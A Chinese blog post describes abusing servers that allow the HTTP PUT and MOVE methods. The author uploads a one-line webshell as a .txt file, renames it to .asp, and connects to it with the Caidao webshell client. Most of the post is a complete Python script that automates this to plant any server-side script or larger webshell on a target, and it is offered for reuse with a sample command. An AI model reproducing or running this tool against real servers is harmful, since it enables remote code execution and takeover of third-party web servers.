服务器PUT上传工具

作者: 年华不散场 | 来源:发表于2018-04-10 17:17 被阅读114次

0X00 起因

今天偶尔遇到一个网站开启了PUT方法和MOVE等不安全的HTTP方法


不安全的HTTP方法

于是想到利用PUT上传可执行脚本拿shell,可是发现不能上传.asp文件


禁止上传ASP

测试了一下发现可以上传TXT等类型文件


TXT上传

0X01 测试

尝试一下上传一个TXT一句话木马到服务器,成功上传


TXT一句话

使用MOVE方法更改文件名


MOVE更改文件名

菜刀连接一句话木马


菜刀连接

0X02实现

为了方便上传,遂决定用python写一个脚本,实现自动化上传


自动化上传

脚本实现如下:

#! /usr/bin/env python
#coding:utf-8
import requests
import sys

if sys.argv[1] == "-a":
    if len(sys.argv) != 4:
        print("参数格式:-a 服务器地址 上传的文件")
        print("例如: -a http://192.168.1.1 /root/shell.asp")
        sys.exit()

if sys.argv[1] == "-a":

    url = sys.argv[2]

    payload = open(sys.argv[3])

    oldname = "4587e3dd4272c7c8.txt"

    modname = sys.argv[3].split('/')[-1]

    headers = {"Destination":url + '/' + modname}

    r = requests.put(url + '/' + oldname,data=payload)

    if str(r.status_code)[0:1] == '2':

        r = requests.request("MOVE",url + '/' + oldname,headers=headers)

        if str(r.status_code)[0:1] == '2':

            print ("命令成功执行,脚本地址:" + url + '/' + modname)

        else:

            print ("移动失败,服务器可能没开MOVE方法")

    else:

        print ("上传失败,服务器可能没开PUT方法")

如果服务器没有开启PUT方法


未开启PUT方法

0X03 运行

这个脚本一样可以上传类似于大马的服务器端脚本


上传大马 大马执行

其中命令格式为:./ceshi.py -a http://192.168.1.111 /root/nianhua.asp

相关文章

  • 服务器PUT上传工具

    0X00 起因 今天偶尔遇到一个网站开启了PUT方法和MOVE等不安全的HTTP方法 于是想到利用PUT上传可执行...

  • 上传图片

    C#服务器retrofit上传图片 params.put("AttachmentKey\";filename=\"...

  • Mac本地文件上传到云服务器

    一、put命令 1、put 本地文件路径 远程路径 二、scp命令 1、mac上传文件到Linux服务器scp 文...

  • AFNetworking PUT方式 form-data表单格式

    服务器要求使用PUT方式上传图片, 采用网页端的表单格式进行提交,由于之前很少使用PUT请求方式,只接触过POST...

  • 基本请求

    GET:用于请求服务器的资源POST:用于提交实体到服务器PUT:用于上传文件,但是由于没有校验,所以一般不使用,...

  • NSURLConnection笔记-上传文件

    使用NSURLConnection上传文件上传文件,使用POST还是PUT请求?根据原来HTTP的定义使用PUT来...

  • ftp与tftp

    ftp比tftp更方便。 0. 命令 两者都可以与服务器上传和下载文件。 1. put 和 get 即 上传 和 ...

  • 网络编程实战(第二篇)

    本篇博客的主要知识点是: 1WebDav服务器简单介绍 2 通过例子演示PUT方法向WebDav上传文件 3 删除...

  • php关于ftp文件上传

    ftp_put 上传失败的原因?ftp_put(remoteName, remoteName中不能包含汉字中文

  • p_网络工具类

    1.post、put、patch:与幂等性总:用于上传数据的方法只有POST、PUT、PATCH。PUT方法和PA...

网友评论

本文标题:服务器PUT上传工具

本文链接:https://www.haomeiwen.com/subject/uvsnhftx.html